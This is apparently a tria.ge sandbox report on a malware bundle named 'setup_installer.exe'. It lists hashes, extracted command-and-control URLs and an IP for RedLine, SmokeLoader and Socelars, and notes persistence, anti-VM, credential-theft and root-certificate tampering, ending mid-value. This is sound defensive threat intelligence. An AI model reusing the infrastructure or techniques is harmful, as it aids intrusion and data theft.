Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Resubmissions
28/10/2021, 15:53
211028-tbqhfabhb2 1028/10/2021, 05:27
211028-f5paksheak 1027/10/2021, 14:29
211027-rt28vafah7 10Analysis
-
max time kernel
111s -
max time network
1810s -
submitted
01/01/1970, 00:00
Static task
static1
Behavioral task
behavioral1
Sample
setup_installer.exe
Resource
win7-ja-20210920
Behavioral task
behavioral2
Sample
setup_installer.exe
Resource
win7-en-20211014
Behavioral task
behavioral3
Sample
setup_installer.exe
Resource
win7-de-20210920
Behavioral task
behavioral4
Sample
setup_installer.exe
Resource
win11
Behavioral task
behavioral5
Sample
setup_installer.exe
Resource
win10-ja-20211014
Behavioral task
behavioral6
Sample
setup_installer.exe
Resource
win10-en-20211014
Behavioral task
behavioral7
Sample
setup_installer.exe
Resource
win10-de-20210920
General
-
Target
setup_installer.exe
-
Size
4.6MB
-
MD5
b356bccf8b9aff2897ecc42970367f44
-
SHA1
fe06861ac4952834ddc290dd5e0e7f36c8adc018
-
SHA256
b9325691870376c72e29be06648c8106ceefd9a94dbbfbee9a4fc2b76fc9b6d3
-
SHA512
7fc510e5575e36919c302ff053eef6f7cb5700e9e011fb5d85dd80c5ec9c97664dcad8b6607b68b10daf8a6fbc584ff1218c30e541431fd32570da8553c662b7
Malware Config
Extracted
socelars
http://www.iyiqian.com/
http://www.hbgents.top/
http://www.rsnzhy.com/
http://www.efxety.top/
Extracted
redline
media26
91.121.67.60:23325
Extracted
smokeloader
2020
http://brandyjaggers.com/upload/
http://andbal.com/upload/
http://alotofquotes.com/upload/
http://szpnc.cn/upload/
http://uggeboots.com/upload/
http://100klv.com/upload/
http://rapmusic.at/upload/
Signatures
-
Djvu Ransomware
Ransomware which is a variant of the STOP family.
-
Process spawned unexpected child process 4 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6868 3560 rundll32.exe 159 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6136 3560 rundll32.exe 159 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 9768 3560 rundll32.exe 159 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 8304 3560 rundll32.exe 159 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 3 IoCs
resource yara_rule behavioral7/memory/2208-279-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral7/memory/2208-280-0x0000000000418D26-mapping.dmp family_redline behavioral7/memory/4492-341-0x0000000000418D32-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
resource yara_rule behavioral7/files/0x000600000001ab8b-195.dat family_socelars behavioral7/files/0x000600000001ab8b-159.dat family_socelars -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 1 IoCs
resource yara_rule behavioral7/memory/4448-534-0x0000000002EE0000-0x0000000002FB6000-memory.dmp family_vidar -
resource yara_rule behavioral7/files/0x000500000001ab72-122.dat aspack_v212_v242 behavioral7/files/0x000500000001ab70-123.dat aspack_v212_v242 behavioral7/files/0x000500000001ab72-125.dat aspack_v212_v242 behavioral7/files/0x000500000001ab70-130.dat aspack_v212_v242 behavioral7/files/0x000400000001ab7b-129.dat aspack_v212_v242 behavioral7/files/0x000500000001ab70-128.dat aspack_v212_v242 behavioral7/files/0x000400000001ab7b-131.dat aspack_v212_v242 -
Blocklisted process makes network request 1 IoCs
flow pid Process 315 6140 schtasks.exe -
Downloads MZ/PE file
-
Executes dropped EXE 64 IoCs
pid Process 2320 setup_install.exe 1276 Wed09f257bb7877d00b2.exe 1148 Wed0901eb1dae126e32.exe 4028 Wed09d8d6edfaff2ac.exe 2308 Wed0971f17486f8.exe 2008 Wed096a1bff61.exe 2164 Wed09b3a5ca1a712d390.exe 3952 Wed09db0d52c38.exe 3452 Wed094c47c32b.exe 2840 Wed09e95ff6b5.exe 3324 Wed09cfb2f9758281d8.exe 3736 Wed09c42cad92c20f79.exe 2160 Wed09d27135e5a8b3b.exe 2576 Wed09b2a8bc4f16cb.exe 3200 Wed09abf83d9c2.exe 1772 Wed09977fdc12334.exe 2728 ApplicationFrameHost.exe 3424 Wed09abf83d9c2.exe 3724 Wed09d27135e5a8b3b.exe 1800 Wed09d27135e5a8b3b.tmp 932 LzmwAqmV.exe 1892 Wed0901eb1dae126e32.exe 2208 Wed0971f17486f8.exe 4180 BCleanSoft82.exe 4300 inst1.exe 2108 Wed0901eb1dae126e32.exe 4448 Soft1WW02.exe 4508 4.exe 4604 5.exe 4616 XYB0bVL96aEKhA.exE 4676 postback.exe 4752 search_hyperfs_206.exe 4864 setup.exe 4936 wangting-game.exe 4492 Wed0901eb1dae126e32.exe 5032 Calculator Installation.exe 4248 10.exe 4420 Chrome5.exe 5076 yv_WxKr3KFtEgviNW6XER0DN.exe 776 vIbhD0SVFqEXOPaAylTpMO12.exe 2000 run.exe 4252 8696598.exe 1656 run2.exe 4464 2088911.exe 2896 20751.exe 3012 LzmwAqmV.exe 4528 4657985.exe 5356 kPBhgOaGQk.exe 5444 l52IOPxC8IZszZcHKSzkolDA.exe 5452 rB8pSJCQHjIxwe2pFQq4cLX7.exe 5460 yU9A50kXOGuIyzhRuVL5irvz.exe 5480 heLdzdnLl5q5AkvLGStJu8xP.exe 5488 iDy7r92AdHoe594PiOA4dmf8.exe 5500 Ilfe8Jb1D8sjzZ1u9umT7mRG.exe 5508 BmtIrsZ3_c0yIULXQeeVdv2X.exe 5516 WJ4Jp9BzJkMkcxTsUZxDV8_F.exe 5600 2471790.exe 5612 sGQhoH2XC61E44HNJvyPCldu.exe 5644 8149190.exe 5656 lFbCRQRRm6pas_s2WMj7t8O3.exe 5680 7433237.exe 5724 7903763.exe 5736 HbnZcEkba_UqabLoS_3sKPqH.exe 5756 6619578.exe -
Tries to connect to .bazar domain 64 IoCs
Attempts to lookup or connect to a .bazar domain, used by BazarBackdoor, Trickbot, and potentially others.
flow ioc 1524 tuedwyyw.bazar 1603 iqemekyw.bazar 1677 bielwyem.bazar 1956 ehonuhyw.bazar 2818 agibekem.bazar 2765 ydywidyw.bazar 1477 ehcaekem.bazar 1607 iqemekyw.bazar 2164 huudekom.bazar 2189 ypwyuhed.bazar 2291 ehemeked.bazar 2356 lieluhem.bazar 2457 agywuhom.bazar 1557 fuqeidem.bazar 1801 agcuwyyw.bazar 2274 uconuhom.bazar 2337 fuacided.bazar 2551 izeduhem.bazar 2894 ufemwyed.bazar 1982 tusouhed.bazar 1995 tusouhed.bazar 2211 izibidom.bazar 2498 huwyidem.bazar 2533 vuibekyw.bazar 2553 etqeekom.bazar 2639 tuacekem.bazar 1537 tuedwyyw.bazar 1900 etibidyw.bazar 1902 etibidyw.bazar 2470 agywuhom.bazar 2876 yponidem.bazar 2717 aqomekyw.bazar 1474 ehcaekem.bazar 1478 ehcaekem.bazar 1856 ypudekyw.bazar 1987 tusouhed.bazar 2476 exudwyyw.bazar 2484 exudwyyw.bazar 2627 tyuhuhyw.bazar 2041 iqelwyed.bazar 2176 huudekom.bazar 2281 ehemeked.bazar 2396 aqtowyem.bazar 2459 agywuhom.bazar 2485 exudwyyw.bazar 2834 vueduhed.bazar 1485 ehcaekem.bazar 2221 izibidom.bazar 2226 etedwyed.bazar 2820 agibekem.bazar 2849 izqewyyw.bazar 1665 owacidyw.bazar 1770 huomuhed.bazar 2016 aqacidom.bazar 2149 vuywuhem.bazar 2647 eheluhom.bazar 2681 iqewidem.bazar 2833 vueduhed.bazar 1880 uccaeked.bazar 2251 tyqeekem.bazar 2275 uconuhom.bazar 2548 izeduhem.bazar 2596 ucemwyem.bazar 2617 tyuhuhyw.bazar -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion UBmFHZ8mX1WA__gGTDlJaqG8.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion UBmFHZ8mX1WA__gGTDlJaqG8.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion WJ4Jp9BzJkMkcxTsUZxDV8_F.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion WJ4Jp9BzJkMkcxTsUZxDV8_F.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Control Panel\International\Geo\Nation Wed09d8d6edfaff2ac.exe Key value queried \REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Control Panel\International\Geo\Nation Wed09977fdc12334.exe -
Loads dropped DLL 14 IoCs
pid Process 2320 setup_install.exe 2320 setup_install.exe 2320 setup_install.exe 2320 setup_install.exe 2320 setup_install.exe 2320 setup_install.exe 2728 ApplicationFrameHost.exe 1800 Wed09d27135e5a8b3b.tmp 5032 Calculator Installation.exe 5032 Calculator Installation.exe 5032 Calculator Installation.exe 5032 Calculator Installation.exe 5032 Calculator Installation.exe 6692 msiexec.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 5080 icacls.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 7433237.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce PU6N0UzgOFQoL73yAS3u09iD.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" PU6N0UzgOFQoL73yAS3u09iD.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA WJ4Jp9BzJkMkcxTsUZxDV8_F.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA UBmFHZ8mX1WA__gGTDlJaqG8.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 15 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 262 freegeoip.app 57 ipinfo.io 60 ipinfo.io 811 api.2ip.ua 273 ipinfo.io 12 ip-api.com 58 ipinfo.io 272 ipinfo.io 275 freegeoip.app 373 ipinfo.io 810 api.2ip.ua 833 api.2ip.ua 254 freegeoip.app 264 freegeoip.app 274 ipinfo.io -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 5516 WJ4Jp9BzJkMkcxTsUZxDV8_F.exe 5092 UBmFHZ8mX1WA__gGTDlJaqG8.exe -
Suspicious use of SetThreadContext 11 IoCs
description pid Process procid_target PID 2308 set thread context of 2208 2308 Wed0971f17486f8.exe 119 PID 1148 set thread context of 4492 1148 Wed0901eb1dae126e32.exe 130 PID 5488 set thread context of 1584 5488 iDy7r92AdHoe594PiOA4dmf8.exe 29 PID 5384 set thread context of 1584 5384 4xggSC5Dk2sgR5wUwIkMzBkH.exe 29 PID 2000 set thread context of 6196 2000 run.exe 217 PID 5644 set thread context of 6576 5644 8149190.exe 223 PID 5420 set thread context of 6616 5420 YNXyHeWxDpD4uopZucOe1_lx.exe 220 PID 5500 set thread context of 3716 5500 Ilfe8Jb1D8sjzZ1u9umT7mRG.exe 229 PID 2812 set thread context of 5952 2812 39P_8p3e0thz0YWGHuCJsZ4x.exe 234 PID 4628 set thread context of 1584 4628 mstsc.exe 29 PID 6140 set thread context of 6556 6140 schtasks.exe 262 -
autoit_exe 2 IoCs
AutoIT scripts compiled to PE executables.
resource yara_rule behavioral7/files/0x000500000001ab8c-172.dat autoit_exe behavioral7/files/0x000500000001ab8c-198.dat autoit_exe -
Drops file in Program Files directory 13 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe lFbCRQRRm6pas_s2WMj7t8O3.exe File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini lFbCRQRRm6pas_s2WMj7t8O3.exe File created C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe BmtIrsZ3_c0yIULXQeeVdv2X.exe File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe rB8pSJCQHjIxwe2pFQq4cLX7.exe File created C:\Program Files (x86)\Company\NewProduct\d jg1_1faf.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\d jg1_1faf.exe File created C:\Program Files (x86)\FarLabUninstaller\unins000.dat Wed09d27135e5a8b3b.tmp File created C:\Program Files (x86)\FarLabUninstaller\is-RGCQD.tmp Wed09d27135e5a8b3b.tmp File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe lFbCRQRRm6pas_s2WMj7t8O3.exe File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe BmtIrsZ3_c0yIULXQeeVdv2X.exe File created C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe rB8pSJCQHjIxwe2pFQq4cLX7.exe File opened for modification C:\Program Files (x86)\FarLabUninstaller\unins000.dat Wed09d27135e5a8b3b.tmp File opened for modification C:\Program Files (x86)\Company\NewProduct\cutm3.exe lFbCRQRRm6pas_s2WMj7t8O3.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\3720402701\2274612954.pri Explorer.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 19 IoCs
pid pid_target Process procid_target 4948 3324 WerFault.exe 96 5404 4248 WerFault.exe 142 5776 3324 WerFault.exe 96 6048 4604 WerFault.exe 131 6124 3324 WerFault.exe 96 6180 4864 WerFault.exe 136 6652 3324 WerFault.exe 96 6680 4864 WerFault.exe 136 7012 5480 WerFault.exe 185 4412 5736 WerFault.exe 168 3288 5480 WerFault.exe 185 5224 5736 WerFault.exe 168 6912 5480 WerFault.exe 185 5256 5736 WerFault.exe 168 6220 5480 WerFault.exe 185 5524 5736 WerFault.exe 168 4828 3324 WerFault.exe 96 5504 3324 WerFault.exe 96 6292 4864 WerFault.exe 136 -
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Wed09b2a8bc4f16cb.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Wed09b2a8bc4f16cb.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Wed09b2a8bc4f16cb.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 39P_8p3e0thz0YWGHuCJsZ4x.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 39P_8p3e0thz0YWGHuCJsZ4x.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 39P_8p3e0thz0YWGHuCJsZ4x.exe -
Creates scheduled task(s) 1 TTPs 8 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 6140 schtasks.exe 9412 schtasks.exe 4656 schtasks.exe 2448 schtasks.exe 5716 schtasks.exe 5676 schtasks.exe 7100 schtasks.exe 8340 schtasks.exe -
Delays execution with timeout.exe 5 IoCs
pid Process 9044 timeout.exe 4136 timeout.exe 5844 timeout.exe 9988 timeout.exe 10148 timeout.exe -
Kills process with taskkill 14 IoCs
pid Process 9472 taskkill.exe 300 taskkill.exe 7060 taskkill.exe 6868 taskkill.exe 10020 taskkill.exe 9948 taskkill.exe 4812 taskkill.exe 7488 taskkill.exe 4388 taskkill.exe 7220 taskkill.exe 9528 taskkill.exe 10208 taskkill.exe 1944 taskkill.exe 6448 taskkill.exe -
Modifies registry class 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-2481030822-2828258191-1606198294-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\SplashScreen Explorer.EXE -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Wed09db0d52c38.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800001900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa20f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349040000000100000010000000497904b0eb8719ac47b0bc11519b74d0200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Wed09db0d52c38.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 Wed09d8d6edfaff2ac.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f6362000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c60b000000010000001a0000004900530052004700200052006f006f0074002000580031000000090000000100000016000000301406082b0601050507030206082b0601050507030114000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e1d000000010000001000000073b6876195f5d18e048510422aef04e3030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e820000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 Wed09d8d6edfaff2ac.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 1900000001000000100000002fe1f70bb05d7c92335bc5e05b984da6030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e81d000000010000001000000073b6876195f5d18e048510422aef04e314000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e090000000100000016000000301406082b0601050507030206082b060105050703010b000000010000001a0000004900530052004700200052006f006f007400200058003100000062000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f6320000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 Wed09d8d6edfaff2ac.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 